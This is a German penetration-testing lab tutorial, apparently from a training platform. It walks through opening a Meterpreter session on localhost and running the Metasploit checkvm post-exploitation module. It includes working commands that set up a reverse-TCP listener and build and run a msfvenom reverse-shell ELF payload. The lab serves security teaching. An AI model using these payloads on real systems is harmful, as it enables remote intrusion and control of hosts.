Einführung
Post-Exploitation ist die Phase eines Penetrationstests, die nach dem Erhalt des initialen Zugriffs auf ein Zielsystem durch einen Angreifer stattfindet. Während dieser Phase ist es das Ziel, weitere Informationen zu sammeln, Berechtigungen zu eskalieren, zu anderen Systemen zu pivotieren und den Zugriff aufrechtzuerhalten. Das Metasploit Framework bietet eine riesige Sammlung von Post-Exploitation-Modulen zur Automatisierung dieser Aufgaben.
In diesem Lab lernen Sie den grundlegenden Workflow für die Verwendung eines Post-Exploitation-Moduls in Metasploit kennen. Sie beginnen mit dem Aufbau einer Meterpreter-Sitzung, suchen dann nach einem geeigneten Modul, konfigurieren es und führen es gegen die aktive Sitzung aus, um Informationen über das Zielsystem zu sammeln. Wir werden das Modul post/linux/gather/checkvm als Beispiel verwenden, das versucht festzustellen, ob der kompromittierte Host eine virtuelle Maschine ist.
Eine aktive Meterpreter-Sitzung haben
In diesem Schritt richten Sie einen Listener in Metasploit ein und führen dann eine Payload aus, um einen kompromittierten Host zu simulieren, der eine Rückverbindung herstellt, wodurch eine aktive Meterpreter-Sitzung erstellt wird. Diese Sitzung ist die Voraussetzung für die Ausführung jedes Post-Exploitation-Moduls.
Zuerst starten wir die Metasploit Framework-Konsole. Öffnen Sie ein Terminal und geben Sie ein:
msfconsole -q
Das Flag -q sorgt dafür, dass das Startbanner leise ist. Sobald Sie sich an der Eingabeaufforderung msf6 > befinden, konfigurieren wir einen Listener. Wir verwenden einen generischen Handler und eine Linux Meterpreter-Payload.
Geben Sie die folgenden Befehle in die msfconsole-Eingabeaufforderung ein:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1
Führen Sie nun den Listener als Hintergrundjob mit exploit -j aus:
exploit -j
Sie sollten eine Bestätigung sehen, dass der Handler gestartet wurde.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Öffnen Sie nun ein neues Terminal (Sie können dazu den +-Button in der Terminal-Tab-Leiste verwenden). In diesem neuen Terminal generieren und führen wir die Payload aus, die sich mit unserem Listener verbindet. Wir verwenden msfvenom, um eine ausführbare Linux-Datei zu erstellen.
Führen Sie im zweiten Terminal diesen Befehl aus, um die Payload zu erstellen:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf
Dieser Befehl erstellt eine ELF-Datei (Executable and Linkable Format) namens shell.elf in Ihrem Verzeichnis ~/project.
Machen Sie die Datei anschließend ausführbar:
chmod +x ~/project/shell.elf
Führen Sie schließlich die Payload aus, um die Sitzung herzustellen:
./shell.elf
Wechseln Sie nun zurück zu Ihrem ersten Terminal (dem mit msfconsole). Sie sollten eine Meldung sehen, die angibt, dass eine neue Sitzung erstellt wurde.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400
Zur Bestätigung können Sie alle aktiven Sitzungen mit dem Befehl sessions auflisten.
sessions
Sie sehen Ihre aktive Sitzung aufgelistet, was bedeutet, dass Sie für den nächsten Schritt bereit sind.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)
Die Sitzung in den Hintergrund verschieben und den Suchbefehl für Post-Module verwenden
In diesem Schritt lernen Sie, wie Sie mit Ihrer neuen Sitzung interagieren und dann zur Haupt-Eingabeaufforderung msfconsole zurückkehren, um nach Post-Exploitation-Modulen zu suchen.
Nach dem Befehl sessions befinden Sie sich an der Eingabeaufforderung msf6 >. Um mit der Sitzung zu interagieren, verwenden Sie den Befehl sessions -i, gefolgt von der Sitzungs-ID.
sessions -i 1
Ihre Eingabeaufforderung ändert sich zu meterpreter >, was anzeigt, dass Sie sich nun innerhalb der Sitzung des kompromittierten Systems befinden.
[*] Starting interaction with 1...
meterpreter >
Um ein Post-Exploitation-Modul auszuführen, müssen Sie sich an der Haupt-Eingabeaufforderung msf6 > befinden. Um die Meterpreter-Sitzung aktiv zu lassen, aber zur Hauptkonsole zurückzukehren, verwenden Sie den Befehl background.
background
Sie sehen eine Meldung, die bestätigt, dass die Sitzung im Hintergrund läuft, und Ihre Eingabeaufforderung kehrt zu msf6 > zurück.
[*] Backgrounding session 1...
msf6 >
Nun können Sie mit dem Befehl search nach Post-Exploitation-Modulen suchen. Dieser Befehl ist sehr leistungsfähig und kann Module nach Typ, Plattform, Namen und mehr filtern. Um Module zu finden, die auf virtuelle Maschinen prüfen, können Sie nach dem Schlüsselwort checkvm suchen.
search checkvm
Metasploit listet alle Module auf, die dem Schlüsselwort entsprechen.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/linux/gather/checkvm normal No Linux Gather Virtual Machine Environment Detection
1 post/windows/gather/checkvm normal No Windows Gather Virtual Machine Environment Detection
...
Dies zeigt uns, dass es Module sowohl für Linux als auch für Windows gibt. Da sich unsere Sitzung auf einem Linux-Ziel befindet, werden wir post/linux/gather/checkvm verwenden.
Ein Post-Exploitation-Modul wie post/linux/gather/checkvm auswählen
In diesem Schritt wählen Sie das Post-Exploitation-Modul aus, das Sie im vorherigen Schritt gefunden haben, und zeigen seine Konfigurationsoptionen an.
Um ein Modul in Metasploit auszuwählen oder zu "verwenden", verwenden Sie den Befehl use, gefolgt vom vollständigen Namen des Moduls. Basierend auf unseren Suchergebnissen verwenden wir post/linux/gather/checkvm.
use post/linux/gather/checkvm
Ihre Eingabeaufforderung ändert sich, um das aktuell ausgewählte Modul widerzuspiegeln.
msf6 post(linux/gather/checkvm) >
Sobald ein Modul ausgewählt ist, sollten Sie immer dessen Optionen überprüfen, um zu sehen, was konfiguriert werden muss. Der Befehl show options zeigt alle verfügbaren Einstellungen für das aktuelle Modul an.
show options
Die Ausgabe zeigt die Optionen des Moduls, ihre aktuellen Einstellungen und ob sie erforderlich sind.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Wie Sie sehen können, ist die Option SESSION erforderlich, hat aber noch keinen Wert. Diese Option teilt Metasploit mit, gegen welche Ihrer aktiven Sitzungen das Modul ausgeführt werden soll.
Die Option SESSION auf Ihre aktive Sitzungs-ID setzen
In diesem Schritt konfigurieren Sie die erforderliche Option SESSION für das Post-Exploitation-Modul.
Aus den vorherigen Schritten wissen wir, dass unsere aktive Sitzung die ID 1 hat. Wir müssen diese ID dem Modul zur Verfügung stellen. Der Befehl set wird verwendet, um Moduloptionen zu konfigurieren.
Um die Option SESSION auf 1 zu setzen, führen Sie den folgenden Befehl aus:
set SESSION 1
Sie sollten eine Bestätigung sehen, dass der Wert gesetzt wurde.
SESSION => 1
Um sicherzugehen, können Sie show options erneut ausführen, um zu überprüfen, ob die Option SESSION nun korrekt konfiguriert ist.
show options
Die Ausgabe zeigt nun 1 als aktuelle Einstellung für SESSION.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Nachdem die Option SESSION gesetzt wurde, ist das Modul nun bereit zur Ausführung.
Modul ausführen und Ergebnisse analysieren
In diesem Schritt führen Sie das konfigurierte Post-Exploitation-Modul aus und analysieren dessen Ausgabe.
Nachdem das Modul ausgewählt und alle erforderlichen Optionen gesetzt wurden, können Sie es nun ausführen. In Metasploit können Sie entweder den Befehl run oder exploit verwenden, um ein Modul auszuführen. Für Post-Exploitation-Module wird üblicherweise run verwendet.
run
Das Modul wird nun auf der Ziel-Sitzung (Session 1) ausgeführt. Es führt seine Prüfungen durch und gibt die Ergebnisse auf Ihrer Konsole aus. Die LabEx-Umgebung läuft innerhalb einer virtualisierten Umgebung, daher sollten Sie ein positives Ergebnis sehen.
[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed
Analyse der Ergebnisse:
Die Ausgabe zeigt deutlich, dass das Zielsystem sowohl als Xen- als auch als KVM/QEMU-Virtuelle Maschine erkannt wird. Dies sind wertvolle Informationen für einen Penetrationstester. Zu wissen, dass ein Ziel virtualisiert ist, kann zukünftige Aktionen beeinflussen, wie z. B. die Suche nach VM-Escape-Schwachstellen oder das Verständnis der zugrunde liegenden Infrastruktur.
Sie haben nun erfolgreich Ihr erstes Post-Exploitation-Modul ausgeführt!
Zusammenfassung
In diesem Lab haben Sie den wesentlichen Workflow für die Verwendung von Post-Exploitation-Modulen im Metasploit Framework kennengelernt. Sie haben den gesamten Prozess von der Herstellung eines ersten Zugangs bis zur Sammlung von Informationen über das Zielsystem erfolgreich durchgeführt.
Sie haben gelernt, wie Sie:
- Einen Listener erstellen und eine Meterpreter-Sitzung herstellen.
- Eine aktive Sitzung in den Hintergrund verschieben, um zur Hauptaufforderung
msfconsolezurückzukehren. - Den Befehl
searchverwenden, um relevante Post-Exploitation-Module zu finden. - Ein Modul mit dem Befehl
useauswählen und dessen Einstellungen mitshow optionsanzeigen. - Ein Modul konfigurieren, indem Sie die erforderliche Option
SESSIONsetzen. - Das Modul mit dem Befehl
runausführen und dessen Ausgabe analysieren.
Diese grundlegende Fähigkeit ist ein Baustein für fortgeschrittenere Post-Exploitation-Aktivitäten wie Privilege Escalation, Credential Harvesting und Lateral Movement in einem Netzwerk.


